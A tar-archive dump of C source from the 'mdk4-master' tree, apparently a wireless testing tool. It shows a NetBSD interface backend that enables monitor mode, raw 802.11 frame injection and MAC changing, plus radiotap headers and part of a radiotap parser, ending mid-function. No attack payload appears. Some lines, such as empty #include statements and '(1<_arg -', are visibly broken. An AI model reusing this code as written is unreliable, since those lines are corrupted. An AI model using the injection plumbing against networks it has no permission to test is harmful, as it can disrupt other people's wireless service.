if (!(present & (1 << i)))
continue;
switch (i) {
case IEEE80211_RADIOTAP_TSFT:
body += sizeof(uint64_t);
break;
case IEEE80211_RADIOTAP_FLAGS:
rflags = *((uint8_t*)body);
/* fall through */
case IEEE80211_RADIOTAP_RATE:
body += sizeof(uint8_t);
break;
case IEEE80211_RADIOTAP_CHANNEL:
if (ri) {
ri->ri_channel = 1;
}
body += sizeof(uint16_t)*2;
break;
case IEEE80211_RADIOTAP_FHSS:
body += sizeof(uint16_t);
break;
case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
dbm_power = *body++;
break;
case IEEE80211_RADIOTAP_DBM_ANTNOISE:
dbm_power -= *body++;
break;
case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
db_power = *body++;
break;
case IEEE80211_RADIOTAP_DB_ANTNOISE:
db_power -= *body++;
break;
default:
i = IEEE80211_RADIOTAP_EXT+1;
break;
}
}
/* set power */
if (ri) {
if (dbm_power)
ri->ri_power = dbm_power;
else
ri->ri_power = db_power;
}
/* XXX cache; drivers won't change this per-packet */
/* check if FCS/CRC is included in packet */
if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
*plen -= IEEE80211_CRC_LEN;
pn->pn_nocrc = 1;
}
}
static unsigned char *get_80211(struct priv_nbsd *pn, int *plen,
struct rx_info *ri)
{
struct bpf_hdr *bpfh;
struct ieee80211_radiotap_header *rth;
void *ptr;
unsigned char **data;
int *totlen;
data = &pn->pn_next;
totlen = &pn->pn_totlen;
assert(*totlen);
/* bpf hdr */
bpfh = (struct bpf_hdr*) (*data);
assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
*totlen -= bpfh->bh_hdrlen;
/* check if more packets */
if ((int)bpfh->bh_caplen < *totlen) {
int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
int offset = BPF_WORDALIGN(tot);
*data = (unsigned char*)bpfh + offset;
*totlen -= offset - tot; /* take into account align bytes */
} else if ((int)bpfh->bh_caplen > *totlen)
abort();
*plen = bpfh->bh_caplen;
*totlen -= bpfh->bh_caplen;
assert(*totlen >= 0);
/* radiotap */
rth = (struct ieee80211_radiotap_header*)
((char*)bpfh + bpfh->bh_hdrlen);
get_radiotap_info(pn, rth, plen, ri);
*plen -= rth->it_len;
assert(*plen > 0);
/* data */
ptr = (char*)rth + rth->it_len;
return ptr;
}
static int nbsd_get_channel(struct wif *wi)
{
struct priv_nbsd *pn = wi_priv(wi);
struct ieee80211chanreq channel;
memset(&channel, 0, sizeof(channel));
strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
if(ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1;
return channel.i_channel;
}
static int nbsd_set_channel(struct wif *wi, int chan)
{
struct priv_nbsd *pn = wi_priv(wi);
struct ieee80211chanreq channel;
memset(&channel, 0, sizeof(channel));
strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
channel.i_channel = chan;
if(ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1;
pn->pn_chan = chan;
return 0;
}
static int nbsd_read(struct wif *wi, unsigned char *h80211, int len,
struct rx_info *ri)
{
struct priv_nbsd *pn = wi_priv(wi);
unsigned char *wh;
int plen;
assert(len > 0);
/* need to read more */
if (pn->pn_totlen == 0) {
pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf));
if (pn->pn_totlen == -1) {
pn->pn_totlen = 0;
return -1;
}
pn->pn_next = pn->pn_buf;
}
/* read 802.11 packet */
wh = get_80211(pn, &plen, ri);
if (plen > len)
plen = len;
assert(plen > 0);
memcpy(h80211, wh, plen);
if(ri && !ri->ri_channel)
ri->ri_channel = wi_get_channel(wi);
return plen;
}
static int nbsd_write(struct wif *wi, unsigned char *h80211, int len,
struct tx_info *ti)
{
struct priv_nbsd *pn = wi_priv(wi);
int rc;
/* XXX make use of ti */
if (ti) {}
rc = write(pn->pn_fd, h80211, len);
if (rc == -1)
return rc;
return 0;
}
static void do_free(struct wif *wi)
{
assert(wi->wi_priv);
free(wi->wi_priv);
wi->wi_priv = 0;
free(wi);
}
static void nbsd_close(struct wif *wi)
{
struct priv_nbsd *pn = wi_priv(wi);
close(pn->pn_fd);
close(pn->pn_s);
do_free(wi);
}
static int do_nbsd_open(struct wif *wi, char *iface)
{
int i;
char buf[64];
int fd = -1;
struct ifreq ifr;
unsigned int dlt = DLT_IEEE802_11_RADIO;
int s;
unsigned int flags;
struct ifmediareq ifmr;
int *mwords;
struct priv_nbsd *pn = wi_priv(wi);
unsigned int size=sizeof(pn->pn_buf);
/* basic sanity check */
if (strlen(iface) >= sizeof(ifr.ifr_name))
return -1;
/* open wifi */
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1)
return -1;
pn->pn_s = s;
/* set iface up and promisc */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1)
goto close_sock;
flags = ifr.ifr_flags;
flags |= IFF_UP | IFF_PROMISC;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
ifr.ifr_flags = flags & 0xffff;
if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1)
goto close_sock;
/* monitor mode */
memset(&ifmr, 0, sizeof(ifmr));
strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
goto close_sock;
assert(ifmr.ifm_count != 0);
mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
if (!mwords)
goto close_sock;
ifmr.ifm_ulist = mwords;
if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
free(mwords);
goto close_sock;
}
free(mwords);
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1)
goto close_sock;
/* setup ifreq for chan that may be used in future */
strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ);
/* same for ifreq [mac addr] */
strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ);
/* open bpf */
for(i = 0; i < 256; i++) {
snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
fd = open(buf, O_RDWR);
if(fd < 0) {
if(errno != EBUSY)
return -1;
continue;
}
else
break;
}
if(fd < 0)
goto close_sock;
if (ioctl(fd, BIOCSBLEN, &size) < 0)
goto close_bpf;
strncpy(ifr.ifr_name, iface, IFNAMSIZ);
if (ioctl(fd, BIOCSETIF, &ifr) < 0)
goto close_bpf;
if (ioctl(fd, BIOCSDLT, &dlt) < 0)
goto close_bpf;
if(ioctl(fd, BIOCPROMISC, NULL) < 0)
goto close_bpf;
dlt = 1;
if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1)
goto close_bpf;
return fd;
close_sock:
close(s);
return -1;
close_bpf:
close(fd);
goto close_sock;
}
static int nbsd_fd(struct wif *wi)
{
struct priv_nbsd *pn = wi_priv(wi);
return pn->pn_fd;
}
static int nbsd_get_mac(struct wif *wi, unsigned char *mac)
{
struct ifaddrs *ifa, *p;
char *name = wi_get_ifname(wi);
int rc = -1;
struct sockaddr_dl* sdp;
if (getifaddrs(&ifa) == -1)
return -1;
p = ifa;
while (p) {
if (p->ifa_addr->sa_family == AF_LINK &&
strcmp(name, p->ifa_name) == 0) {
sdp = (struct sockaddr_dl*) p->ifa_addr;
memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
rc = 0;
break;
}
p = p->ifa_next;
}
freeifaddrs(ifa);
return rc;
}
static int nbsd_get_monitor(struct wif *wi)
{
if (wi) {} /* XXX unused */
/* XXX */
return 0;
}
static int nbsd_get_rate(struct wif *wi)
{
if (wi) {} /* XXX unused */
/* XXX */
return 1000000;
}
static int nbsd_set_rate(struct wif *wi, int rate)
{
if (wi || rate) {} /* XXX unused */
/* XXX */
return 0;
}
static int nbsd_set_mac(struct wif *wi, unsigned char *mac)
{
struct priv_nbsd *pn = wi_priv(wi);
struct ifreq *ifr = &pn->pn_ifr;
ifr->ifr_addr.sa_family = AF_LINK;
ifr->ifr_addr.sa_len = 6;
memcpy(ifr->ifr_addr.sa_data, mac, 6);
return ioctl(pn->pn_s, SIOCSIFADDR, ifr);
}
static struct wif *nbsd_open(char *iface)
{
struct wif *wi;
struct priv_nbsd *pn;
int fd;
/* setup wi struct */
wi = wi_alloc(sizeof(*pn));
if (!wi)
return NULL;
wi->wi_read = nbsd_read;
wi->wi_write = nbsd_write;
wi->wi_set_channel = nbsd_set_channel;
wi->wi_get_channel = nbsd_get_channel;
wi->wi_close = nbsd_close;
wi->wi_fd = nbsd_fd;
wi->wi_get_mac = nbsd_get_mac;
wi->wi_set_mac = nbsd_set_mac;
wi->wi_get_rate = nbsd_get_rate;
wi->wi_set_rate = nbsd_set_rate;
wi->wi_get_monitor = nbsd_get_monitor;
/* setup iface */
fd = do_nbsd_open(wi, iface);
if (fd == -1) {
do_free(wi);
return NULL;
}
/* setup private state */
pn = wi_priv(wi);
pn->pn_fd = fd;
return wi;
}
struct wif *wi_open_osdep(char *iface)
{
return nbsd_open(iface);
}
int get_battery_state(void)
{
#if defined(__FreeBSD__)
int value;
size_t len;
len = 1;
value = 0;
sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
if (value == 0)
{
sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
value = value * 60;
}
else
{
value = 0;
}
return( value );
#elif defined(_BSD_SOURCE)
struct apm_power_info api;
int apmfd;
if ((apmfd = open("/dev/apm", O_RDONLY)) < 0)
return 0;
if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) {
close(apmfd);
return 0;
}
close(apmfd);
if (api.battery_state == APM_BATT_UNKNOWN ||
api.battery_state == APM_BATTERY_ABSENT ||
api.battery_state == APM_BATT_CHARGING ||
api.ac_state == APM_AC_ON) {
return 0;
}
return ((int)(api.minutes_left))*60;
#else
return 0;
#endif
}
mdk4-master/src/osdep/radiotap/ 0000755 0001750 0001750 00000000000 13525065636 017501 5 ustar samueloph samueloph mdk4-master/src/osdep/radiotap/Makefile 0000644 0001750 0001750 00000000056 13525065636 021142 0 ustar samueloph samueloph all:
install:
uninstall:
clean:
rm -f *.o
mdk4-master/src/osdep/radiotap/radiotap_iter.h 0000644 0001750 0001750 00000005564 13525065636 022512 0 ustar samueloph samueloph #ifndef __RADIOTAP_ITER_H
#define __RADIOTAP_ITER_H
#include
#include "radiotap.h"
/* Radiotap header iteration
* implemented in radiotap.c
*/
struct radiotap_override {
uint8_t field;
uint8_t align:4, size:4;
};
struct radiotap_align_size {
uint8_t align:4, size:4;
};
struct ieee80211_radiotap_namespace {
const struct radiotap_align_size *align_size;
int n_bits;
uint32_t oui;
uint8_t subns;
};
struct ieee80211_radiotap_vendor_namespaces {
const struct ieee80211_radiotap_namespace *ns;
int n_ns;
};
/**
* struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args
* @this_arg_index: index of current arg, valid after each successful call
* to ieee80211_radiotap_iterator_next()
* @this_arg: pointer to current radiotap arg; it is valid after each
* call to ieee80211_radiotap_iterator_next() but also after
* ieee80211_radiotap_iterator_init() where it will point to
* the beginning of the actual data portion
* @this_arg_size: length of the current arg, for convenience
* @current_namespace: pointer to the current namespace definition
* (or internally %NULL if the current namespace is unknown)
* @is_radiotap_ns: indicates whether the current namespace is the default
* radiotap namespace or not
*
* @overrides: override standard radiotap fields
* @n_overrides: number of overrides
*
* @_rtheader: pointer to the radiotap header we are walking through
* @_max_length: length of radiotap header in cpu byte ordering
* @_arg_index: next argument index
* @_arg: next argument pointer
* @_next_bitmap: internal pointer to next present u32
* @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present
* @_vns: vendor namespace definitions
* @_next_ns_data: beginning of the next namespace's data
* @_reset_on_ext: internal; reset the arg index to 0 when going to the
* next bitmap word
*
* Describes the radiotap parser state. Fields prefixed with an underscore
* must not be used by users of the parser, only by the parser internally.
*/
struct ieee80211_radiotap_iterator {
struct ieee80211_radiotap_header *_rtheader;
const struct ieee80211_radiotap_vendor_namespaces *_vns;
const struct ieee80211_radiotap_namespace *current_namespace;
unsigned char *_arg, *_next_ns_data;
uint32_t *_next_bitmap;
unsigned char *this_arg;
#ifdef RADIOTAP_SUPPORT_OVERRIDES
const struct radiotap_override *overrides;
int n_overrides;
#endif
int this_arg_index;
int this_arg_size;
int is_radiotap_ns;
int _max_length;
int _arg_index;
uint32_t _bitmap_shifter;
int _reset_on_ext;
};
extern int ieee80211_radiotap_iterator_init(
struct ieee80211_radiotap_iterator *iterator,
struct ieee80211_radiotap_header *radiotap_header,
int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns);
extern int ieee80211_radiotap_iterator_next(
struct ieee80211_radiotap_iterator *iterator);
#endif /* __RADIOTAP_ITER_H */
mdk4-master/src/osdep/radiotap/ieee80211_radiotap.h 0000644 0001750 0001750 00000023266 13525065636 023051 0 ustar samueloph samueloph /* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */
/* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */
/*-
* Copyright (c) 2003, 2004 David Young. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of David Young may not be used to endorse or promote
* products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID
* YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*/
/*
* Modifications to fit into the linux IEEE 802.11 stack,
* Mike Kershaw (dragorn@kismetwireless.net)
*/
#ifndef IEEE80211RADIOTAP_H
#define IEEE80211RADIOTAP_H
/* Radiotap header version (from official NetBSD feed) */
#define IEEE80211RADIOTAP_VERSION "1.5"
/* Base version of the radiotap packet header data */
#define PKTHDR_RADIOTAP_VERSION 0
/* A generic radio capture format is desirable. There is one for
* Linux, but it is neither rigidly defined (there were not even
* units given for some fields) nor easily extensible.
*
* I suggest the following extensible radio capture format. It is
* based on a bitmap indicating which fields are present.
*
* I am trying to describe precisely what the application programmer
* should expect in the following, and for that reason I tell the
* units and origin of each measurement (where it applies), or else I
* use sufficiently weaselly language ("is a monotonically nondecreasing
* function of...") that I cannot set false expectations for lawyerly
* readers.
*/
/* XXX tcpdump/libpcap do not tolerate variable-length headers,
* yet, so we pad every radiotap header to 64 bytes. Ugh.
*/
#define IEEE80211_RADIOTAP_HDRLEN 64
/* The radio capture header precedes the 802.11 header.
* All data in the header is little endian on all platforms.
*/
struct ieee80211_radiotap_header {
u8 it_version; /* Version 0. Only increases
* for drastic changes,
* introduction of compatible
* new fields does not count.
*/
u8 it_pad;
u16 it_len; /* length of the whole
* header in bytes, including
* it_version, it_pad,
* it_len, and data fields.
*/
u32 it_present; /* A bitmap telling which
* fields are present. Set bit 31
* (0x80000000) to extend the
* bitmap by another 32 bits.
* Additional extensions are made
* by setting bit 31.
*/
};
#define IEEE80211_RADIOTAP_PRESENT_EXTEND_MASK 0x80000000
/* Name Data type Units
* ---- --------- -----
*
* IEEE80211_RADIOTAP_TSFT __le64 microseconds
*
* Value in microseconds of the MAC's 64-bit 802.11 Time
* Synchronization Function timer when the first bit of the
* MPDU arrived at the MAC. For received frames, only.
*
* IEEE80211_RADIOTAP_CHANNEL 2 x __le16 MHz, bitmap
*
* Tx/Rx frequency in MHz, followed by flags (see below).
*
* IEEE80211_RADIOTAP_FHSS __le16 see below
*
* For frequency-hopping radios, the hop set (first byte)
* and pattern (second byte).
*
* IEEE80211_RADIOTAP_RATE u8 500kb/s
*
* Tx/Rx data rate
*
* IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from
* one milliwatt (dBm)
*
* RF signal power at the antenna, decibel difference from
* one milliwatt.
*
* IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from
* one milliwatt (dBm)
*
* RF noise power at the antenna, decibel difference from one
* milliwatt.
*
* IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB)
*
* RF signal power at the antenna, decibel difference from an
* arbitrary, fixed reference.
*
* IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB)
*
* RF noise power at the antenna, decibel difference from an
* arbitrary, fixed reference point.
*
* IEEE80211_RADIOTAP_LOCK_QUALITY __le16 unitless
*
* Quality of Barker code lock. Unitless. Monotonically
* nondecreasing with "better" lock strength. Called "Signal
* Quality" in datasheets. (Is there a standard way to measure
* this?)
*
* IEEE80211_RADIOTAP_TX_ATTENUATION __le16 unitless
*
* Transmit power expressed as unitless distance from max
* power set at factory calibration. 0 is max power.
* Monotonically nondecreasing with lower power levels.
*
* IEEE80211_RADIOTAP_DB_TX_ATTENUATION __le16 decibels (dB)
*
* Transmit power expressed as decibel distance from max power
* set at factory calibration. 0 is max power. Monotonically
* nondecreasing with lower power levels.
*
* IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from
* one milliwatt (dBm)
*
* Transmit power expressed as dBm (decibels from a 1 milliwatt
* reference). This is the absolute power level measured at
* the antenna port.
*
* IEEE80211_RADIOTAP_FLAGS u8 bitmap
*
* Properties of transmitted and received frames. See flags
* defined below.
*
* IEEE80211_RADIOTAP_ANTENNA u8 antenna index
*
* Unitless indication of the Rx/Tx antenna for this packet.
* The first antenna is antenna 0.
*
* IEEE80211_RADIOTAP_RX_FLAGS __le16 bitmap
*
* Properties of received frames. See flags defined below.
*
* IEEE80211_RADIOTAP_TX_FLAGS __le16 bitmap
*
* Properties of transmitted frames. See flags defined below.
*
* IEEE80211_RADIOTAP_RTS_RETRIES u8 data
*
* Number of rts retries a transmitted frame used.
*
* IEEE80211_RADIOTAP_DATA_RETRIES u8 data
*
* Number of unicast retries a transmitted frame used.
*
*/
enum ieee80211_radiotap_type {
IEEE80211_RADIOTAP_TSFT = 0,
IEEE80211_RADIOTAP_FLAGS = 1,
IEEE80211_RADIOTAP_RATE = 2,
IEEE80211_RADIOTAP_CHANNEL = 3,
IEEE80211_RADIOTAP_FHSS = 4,
IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5,
IEEE80211_RADIOTAP_DBM_ANTNOISE = 6,
IEEE80211_RADIOTAP_LOCK_QUALITY = 7,
IEEE80211_RADIOTAP_TX_ATTENUATION = 8,
IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9,
IEEE80211_RADIOTAP_DBM_TX_POWER = 10,
IEEE80211_RADIOTAP_ANTENNA = 11,
IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12,
IEEE80211_RADIOTAP_DB_ANTNOISE = 13,
IEEE80211_RADIOTAP_RX_FLAGS = 14,
IEEE80211_RADIOTAP_TX_FLAGS = 15,
IEEE80211_RADIOTAP_RTS_RETRIES = 16,
IEEE80211_RADIOTAP_DATA_RETRIES = 17,
IEEE80211_RADIOTAP_EXT = 31
};
/* Channel flags. */
#define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */
#define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */
#define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */
#define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */
#define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */
#define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */
#define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */
#define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */
/* For IEEE80211_RADIOTAP_FLAGS */
#define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received
* during CFP
*/
#define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received
* with short
* preamble
*/
#define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received
* with WEP encryption
*/
#define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received
* with fragmentation
*/
#define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */
#define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between
* 802.11 header and payload
* (to 32-bit boundary)
*/
/* For IEEE80211_RADIOTAP_RX_FLAGS */
#define IEEE80211_RADIOTAP_F_RX_BADFCS 0x0001 /* frame failed crc check */
/* For IEEE80211_RADIOTAP_TX_FLAGS */
#define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive
* retries */
#define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */
#define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */
#define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* frame should not be ACKed */
#define IEEE80211_RADIOTAP_F_TX_NOSEQ 0x0010 /* sequence number handled
* by userspace */
/* Ugly macro to convert literal channel numbers into their mhz equivalents
* There are certianly some conditions that will break this (like feeding it '30')
* but they shouldn't arise since nothing talks on channel 30. */
#define ieee80211chan2mhz(x) \
(((x) <= 14) ? \
(((x) == 14) ? 2484 : ((x) * 5) + 2407) : \
((x) + 1000) * 5)
#endif /* IEEE80211_RADIOTAP_H */
mdk4-master/src/osdep/radiotap/radiotap.c 0000644 0001750 0001750 00000030354 13525065636 021455 0 ustar samueloph samueloph /*
* Radiotap parser
*
* Copyright 2007 Andy Green
* Copyright 2009 Johannes Berg
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See COPYING for more details.
*/
#include "radiotap_iter.h"
#include "platform.h"
#if defined(ANDROID) || defined(__ANDROID__)
#include "../byteorder.h"
#endif
/* function prototypes and related defs are in radiotap_iter.h */
static const struct radiotap_align_size rtap_namespace_sizes[] = {
[IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, },
[IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, },
[IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, },
[IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, },
[IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, },
[IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, },
[IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, },
[IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, },
[IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, },
[IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, },
[IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, },
/*
* add more here as they are defined in radiotap.h
*/
};
static const struct ieee80211_radiotap_namespace radiotap_ns = {
.n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]),
.align_size = rtap_namespace_sizes,
};
/**
* ieee80211_radiotap_iterator_init - radiotap parser iterator initialization
* @iterator: radiotap_iterator to initialize
* @radiotap_header: radiotap header to parse
* @max_length: total length we can parse into (eg, whole packet length)
*
* Returns: 0 or a negative error code if there is a problem.
*
* This function initializes an opaque iterator struct which can then
* be passed to ieee80211_radiotap_iterator_next() to visit every radiotap
* argument which is present in the header. It knows about extended
* present headers and handles them.
*
* How to use:
* call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator
* struct ieee80211_radiotap_iterator (no need to init the struct beforehand)
* checking for a good 0 return code. Then loop calling
* __ieee80211_radiotap_iterator_next()... it returns either 0,
* -ENOENT if there are no more args to parse, or -EINVAL if there is a problem.
* The iterator's @this_arg member points to the start of the argument
* associated with the current argument index that is present, which can be
* found in the iterator's @this_arg_index member. This arg index corresponds
* to the IEEE80211_RADIOTAP_... defines.
*
* Radiotap header length:
* You can find the CPU-endian total radiotap header length in
* iterator->max_length after executing ieee80211_radiotap_iterator_init()
* successfully.
*
* Alignment Gotcha:
* You must take care when dereferencing iterator.this_arg
* for multibyte types... the pointer is not aligned. Use
* get_unaligned((type *)iterator.this_arg) to dereference
* iterator.this_arg for type "type" safely on all arches.
*
* Example code: parse.c
*/
int ieee80211_radiotap_iterator_init(
struct ieee80211_radiotap_iterator *iterator,
struct ieee80211_radiotap_header *radiotap_header,
int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns)
{
/* must at least have the radiotap header */
if (max_length < (int)sizeof(struct ieee80211_radiotap_header))
return -EINVAL;
/* Linux only supports version 0 radiotap format */
if (radiotap_header->it_version)
return -EINVAL;
/* sanity check for allowed length and radiotap length field */
if (max_length < get_unaligned_le16(&radiotap_header->it_len))
return -EINVAL;
iterator->_rtheader = radiotap_header;
iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len);
iterator->_arg_index = 0;
iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present);
iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header);
iterator->_reset_on_ext = 0;
iterator->_next_bitmap = &radiotap_header->it_present;
iterator->_next_bitmap++;
iterator->_vns = vns;
iterator->current_namespace = &radiotap_ns;
iterator->is_radiotap_ns = 1;
#ifdef RADIOTAP_SUPPORT_OVERRIDES
iterator->n_overrides = 0;
iterator->overrides = NULL;
#endif
/* find payload start allowing for extended bitmap(s) */
if (iterator->_bitmap_shifter & (1<_arg -
(unsigned long)iterator->_rtheader + sizeof(uint32_t) >
(unsigned long)iterator->_max_length)
return -EINVAL;
while (get_unaligned_le32(iterator->_arg) &
(1 << IEEE80211_RADIOTAP_EXT)) {
iterator->_arg += sizeof(uint32_t);
/*
* check for insanity where the present bitmaps
* keep claiming to extend up to or even beyond the
* stated radiotap header length
*/
if ((unsigned long)iterator->_arg -
(unsigned long)iterator->_rtheader +
sizeof(uint32_t) >
(unsigned long)iterator->_max_length)
return -EINVAL;
}
iterator->_arg += sizeof(uint32_t);
/*
* no need to check again for blowing past stated radiotap
* header length, because ieee80211_radiotap_iterator_next
* checks it before it is dereferenced
*/
}
iterator->this_arg = iterator->_arg;
/* we are all initialized happily */
return 0;
}
static void find_ns(struct ieee80211_radiotap_iterator *iterator,
uint32_t oui, uint8_t subns)
{
int i;
iterator->current_namespace = NULL;
if (!iterator->_vns)
return;
for (i = 0; i < iterator->_vns->n_ns; i++) {
if (iterator->_vns->ns[i].oui != oui)
continue;
if (iterator->_vns->ns[i].subns != subns)
continue;
iterator->current_namespace = &iterator->_vns->ns[i];
break;
}
}
#ifdef RADIOTAP_SUPPORT_OVERRIDES
static int find_override(struct ieee80211_radiotap_iterator *iterator,
int *align, int *size)
{
int i;
if (!iterator->overrides)
return 0;
for (i = 0; i < iterator->n_overrides; i++) {
if (iterator->_arg_index == iterator->overrides[i].field) {
*align = iterator->overrides[i].align;
*size = iterator->overrides[i].size;
if (!*align) /* erroneous override */
return 0;
return 1;
}
}
return 0;
}
#endif
/**
* ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg
* @iterator: radiotap_iterator to move to next arg (if any)
*
* Returns: 0 if there is an argument to handle,
* -ENOENT if there are no more args or -EINVAL
* if there is something else wrong.
*
* This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*)
* in @this_arg_index and sets @this_arg to point to the
* payload for the field. It takes care of alignment handling and extended
* present fields. @this_arg can be changed by the caller (eg,
* incremented to move inside a compound argument like
* IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in
* little-endian format whatever the endianess of your CPU.
*
* Alignment Gotcha:
* You must take care when dereferencing iterator.this_arg
* for multibyte types... the pointer is not aligned. Use
* get_unaligned((type *)iterator.this_arg) to dereference
* iterator.this_arg for type "type" safely on all arches.
*/
int ieee80211_radiotap_iterator_next(
